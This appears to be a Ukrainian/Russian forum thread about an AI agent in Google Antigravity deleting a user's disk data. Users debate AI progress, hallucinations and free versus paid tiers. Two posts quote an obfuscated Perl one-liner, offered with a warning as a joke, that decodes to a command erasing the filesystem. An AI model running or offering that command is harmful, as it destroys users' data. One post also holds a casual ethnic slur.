ШІ в Google Antigravity видалив користувацькі дані з диска, але вибачився

[Mozdev]

Мені от цікаво тут є ті хто пам'ятає що буде якщо у лінукс в терміналі жахнути це

Код: Виділити все

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' 

спойлер

Не треба бо буде трагедія

[Scoffer]

за матрицы надо переживать в самую последнюю очередь.

Та ні, за матриці треба переживати в саму першу чергу тому що навіть якщо деякі завдання і можна виконувати в такому вигляді, але в fp64, а ніяк не fp4, а оте залізяччя такого і не вміє або вміє максимально погано. Окрім шішечки, fp16 і менше нафіг нікому не всрались. Настільки не всрались що навіть в часи 8-бітних процесорів фп починався з 32, а в часи 16-бітних дійшов аж до 80 і до самого шішнутого буму ніхто не стандартизував низькоточні формати і не реалізовував їх в залізі. Серйозна наука зараз маслає взагалі в fp128, як правило в сурогатних 64+64, але хто роздобув павери, то в нативних.

[AlienFighter]

leif
Оптимістично. Нагадаю, що нейромережі існують давно. Зі свіжого, хіба хайп на них. Я теж за розвиток, але оптимізму, що невдовзі буде "прорив", не розділяю.

[leif]

Нагадаю, що нейромережі існують давно.

з середини 20ст.

але великі мовні моделі в сучасному вигляді існують не так давно, менше 10 років. те, що зараз такий ажіотаж це не хайп, а просто технологія дозріла до впровадження і понеслось. на попередніх етапах це було зовсім не те.

[Alexsandr]

Я обома руками за ШІ, його розвиток і повсюдне впровадження, просто треба мати реалістичні очікування і розуміти на якому етапі технологія знаходиться станом на зараз: що вона може, що не може, які можуть бути іздєржкі її використання. Найімовірніше, ШІ зовсім невдовзі досягне такого рівня розвитку, де подібних помилок як в сабжевій новині вдасться уникати, а можливості його стануть ще ширшими

ИИ отсутствует как таковой. ни одна система не умеет думать и критически оценивать данные. По сути построили огромные экспертные системы которые не обязательно дают правильный или точный ответ. Да они гибки очень, да многому можно научить, но пока это остается жестким алгоритмом. Когда ИИ стирал данные, он не подумал что это за команда получается, он тупо выполнил свою галюцинацию на основе пожеланий. И похоже несмотря на рост сложности ИИ ничего не меняется кардинально. Эта система даже просто не владеет данными что бы выдать как БД, в любой момент может что-то придумать. При выдаче результата может выдать к примеру на мокрую обувь, что одна обувь из пары мокрая и её нужно сушить, а вторая покрыта слоем водой и сушить не надо. Да добавят уровень проверки где-то, но проверять сеть будет сама себя т.е. кардинально ничего не поменяется.

[leif]

ИИ отсутствует как таковой

госпадє, та всім же зрозуміло що мається на увазі під "ШІ")

кардинально ничего не поменяется.

ви користувались чатом гпт рік-два тому? можете оцінити наскільки справа покращилась з того часу? просто цікаво

[n6407]

зачем вы так строго !11!! он же извинился

[Tiufin]

Судячи із відео, це індус. А з ними вічно щось трапляється - то смартфони вибухають, то ші починає "повстання машин"

[Alexsandr]

ви користувались чатом гпт рік-два тому? можете оцінити наскільки справа покращилась з того часу? просто цікаво

В среднем по палате, стало хуже. модель путается в трех соснах, добавлены ограничения которые не дают ответ давать.
Если раньше при выборе техники я просил сравнить и оно не могло взять коректно ТХ, но если вбить руками понимало. То сейчас оно отличает ip68 от IP68 но написаного словами. Периодически путается между со стандартами до 50 метров погружения и только брызги (68 защита в параметрах устройства). ТХ берет при сравнении неправильно я вижу где оно ошибаются на каких сайтах взял информацию, но этот типа ИИ никак не связывает воедино эти данные. Если в одном случае яркость 600, а в другом указано пиковая 1000, то он выдаст два параметра, а не свяжет типичную и пиковую яркость на солнце. В общем по моему мнению стало даже несколько хуже. Вечно предлагает уточнить что-то и подробности, но на сам вопрос может не ответить корректно и самое главное, одинаковый вопрос, заданный разными словами приводит к разному ответу. Прикольно погонять, посомтреть что предлагает, уточнить, но потом руками все смотреть и перепроверять. А лучше в начале руками, а потом вопросы задавать ибо если в теме не понимаешь, но не понимаешь и когда галюцинации или когда путаться начал ИИ.

с грок вчера про прошивки в роутере беседовали, он столько насоветовал что бы появился пункт меню нужный, скрипты ставить прописывать... но в самом скрипте был прописан пакет один, его ставишь и все появляется. но этот ИИ никак не связал свое же длинное решение (не факт,что получится) и простейшим вариантом, хотя это искал. В целом вчера я добился нужного, но если следовать инструкции ИИ полностью, то не факт что получилось бы.

Получается ИИ могут помочь, но они дают только куда смотреть и то нужно перепроверять. Скорее всего на этом развитие с текущей архитектурой и остановится. Чем сложнее ИИ тем легче он вступает в галюцинации и придумывание по наблюдению. Поэтому останется домашним "секретарем" с ошибками иногда. Думаю более узкие ИИ смогут добиться куда большего чем модели которые умеют все.

[leif]

В среднем по палате, стало хуже.

нічого собі)

а з мого досвіду за цей час стало помітно краще. можливо, справа в plus-аккаунті? ви безкоштовною версією користуєтесь чи маєте підписку?
геміні у мене теж підписний, той що Google AI Pro, гроком не користуюсь.

[Dilfin]

В среднем по палате, стало хуже.

нічого собі)

а з мого досвіду за цей час стало помітно краще. можливо, справа в plus-аккаунті? ви безкоштовною версією користуєтесь чи маєте підписку?
геміні у мене теж підписний, той що Google AI Pro, гроком не користуюсь.

Стало ніби більш живіше, але джеміні допускає багато помилок у різних сферах, потрібно перевіряти, перепитувати, як чоловік сказав, що ШІ може бути помічником, але якого треба перевіряти.

[IronWithin]

Мені от цікаво тут є ті хто пам'ятає що буде якщо у лінукс в терміналі жахнути це

Код: Виділити все

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' 

спойлер

Не треба бо буде трагедія

Ну начинаем парад ностальгии и шутеек?

спойлер

Код: Виділити все

                                           $_='ev
                                       al("seek\040D
           ATA,0,                  0;");foreach(1..3)
       {<DATA>;}my               @camel1hump;my$camel;
  my$Camel  ;while(             <DATA>){$_=sprintf("%-6
9s",$_);my@dromedary           1=split(//);if(defined($
_=<DATA>)){@camel1hum        p=split(//);}while(@dromeda
 ry1){my$camel1hump=0      ;my$CAMEL=3;if(defined($_=shif
        t(@dromedary1    ))&&/\S/){$camel1hump+=1<<$CAMEL;}
       $CAMEL--;if(d   efined($_=shift(@dromedary1))&&/\S/){
      $camel1hump+=1  <<$CAMEL;}$CAMEL--;if(defined($_=shift(
     @camel1hump))&&/\S/){$camel1hump+=1<<$CAMEL;}$CAMEL--;if(
     defined($_=shift(@camel1hump))&&/\S/){$camel1hump+=1<<$CAME
     L;;}$camel.=(split(//,"\040..m`{/J\047\134}L^7FX"))[$camel1h
      ump];}$camel.="\n";}@camel1hump=split(/\n/,$camel);foreach(@
      camel1hump){chomp;$Camel=$_;y/LJF7\173\175`\047/\061\062\063\
      064\065\066\067\070/;y/12345678/JL7F\175\173\047`/;$_=reverse;
       print"$_\040$Camel\n";}foreach(@camel1hump){chomp;$Camel=$_;y
        /LJF7\173\175`\047/12345678/;y/12345678/JL7F\175\173\0 47`/;
         $_=reverse;print"\040$_$Camel\n";}';;s/\s*//g;;eval;   eval
           ("seek\040DATA,0,0;");undef$/;$_=<DATA>;s/\s*//g;(   );;s
             ;^.*_;;;map{eval"print\"$_\"";}/.{4}/g; __DATA__   \124
               \1   50\145\040\165\163\145\040\157\1 46\040\1  41\0
                    40\143\141  \155\145\1 54\040\1   51\155\  141
                    \147\145\0  40\151\156 \040\141    \163\16 3\
                     157\143\   151\141\16  4\151\1     57\156
                     \040\167  \151\164\1   50\040\      120\1
                     45\162\   154\040\15    1\163\      040\14
                     1\040\1   64\162\1      41\144       \145\
                     155\14    1\162\       153\04        0\157
                      \146\     040\11     7\047\         122\1
                      45\15      1\154\1  54\171          \040
                      \046\         012\101\16            3\16
                      3\15           7\143\15             1\14
                      1\16            4\145\163           \054
                     \040            \111\156\14         3\056
                    \040\         125\163\145\14         4\040\
                    167\1        51\164\1  50\0         40\160\
                  145\162                              \155\151
                \163\163                                \151\1
              57\156\056

[Alexsandr]

а з мого досвіду за цей час стало помітно краще. можливо, справа в plus-аккаунті? ви безкоштовною версією користуєтесь чи маєте підписку?
геміні у мене теж підписний, той що Google AI Pro, гроком не користуюсь.

Может быть. бесплатный аккаунт.

[leif]

Может быть. бесплатный аккаунт.

не здивуюсь, якщо це тому, що народу набігло за цей час і "безкоштовних" потужностей на всіх не вистачає. мені недавно доводилось поспілкуватись з безкоштовною версією, різниця чимала відчулась одразу, відтоді я всім рекомендую розглянути варіант підписки, кому воно може окупитись. бо просто для погратись воно дорого, немає сенсу.

[vmsolver]

але в fp64, а ніяк не fp4

Для научных вычислений другие датацентры, а эти вполне могут в FP32 нативно, очень много чего можно делать, а tensor-core в том железе вполне может FP32 * FP32 + FP64 = FP64, на что игровое железо не способно, tensor-cores разные.

Впрочем, нагрузка для этих датацентров будет другая, эти твои даблы там не нужны.

Может быть. бесплатный аккаунт.

По бесплатному аккаунту лучше не делать вообще никаких выводов

[Tiufin]

а з мого досвіду за цей час стало помітно краще. можливо, справа в plus-аккаунті? ви безкоштовною версією користуєтесь чи маєте підписку?
геміні у мене теж підписний, той що Google AI Pro, гроком не користуюсь.

Может быть. бесплатный аккаунт.

про всяк випадок, раптом ви не звертали уваги - завжди у всіх ботах оберайте варіант із обмірковуванням відповіді. Бо при швидких відповідях так, вони всі фігню пишуть.

[Alexsandr]

По бесплатному аккаунту лучше не делать вообще никаких выводов

Проблемы те кто режет модели что они там делают. Я не буду платить за ии если бесплатный показывает себя плохо. они ведь идентичный по сути должны быть, разница в некоторых ограничениях, но на моих запросах это не должно быть критично.

Отправлено спустя 1 минуту 42 секунды:

про всяк випадок, раптом ви не звертали уваги - завжди у всіх ботах оберайте варіант із обмірковуванням відповіді. Бо при швидких відповідях так, вони всі фігню пишуть.

они не умеют это делать. максимум проверит на явные противоречия. Где ИИ мне понравился, так это способность открывать сайты пачками что бы выудить информацию оттуда.

[leif]

они ведь идентичный по сути должны быть

це не так. вам там демо-версію плюса пропонують у перших декількох запитах кожен день, щоб как би натякнути, що ви втрачаєте

Відправлено через 20 секунд:

на моих запросах это не должно быть критично.

це видно на будь-яких запитах

[Alexsandr]

Может быть. бесплатный аккаунт.

не здивуюсь, якщо це тому, що народу набігло за цей час і "безкоштовних" потужностей на всіх не вистачає. мені недавно доводилось поспілкуватись з безкоштовною версією, різниця чимала відчулась одразу, відтоді я всім рекомендую розглянути варіант підписки, кому воно може окупитись. бо просто для погратись воно дорого, немає сенсу.

я на этом не зарабатываю.
пробовали (опять же в бесплатной версии) анализ данных протянуть. не вытягивают ИИ. Да что-то строят, но уйти от линейной модели не могут. Могут добавить коэфициенты рассчитывать на них с линейной модели ответа, но ответа нужного не получается. Возможно платная возьмет больше параметров для своей работы, но это возможно. Поэтому с мой точки зрения большого развития не видно. В них стало больше данных но минус анализ. Размышление в лучшем случае добавит этап сверки. но сверять то будут все те же алгоритмы.

[leif]

Поэтому с мой точки зрения большого развития не видно

а з моєї -- видно)

так і запишемо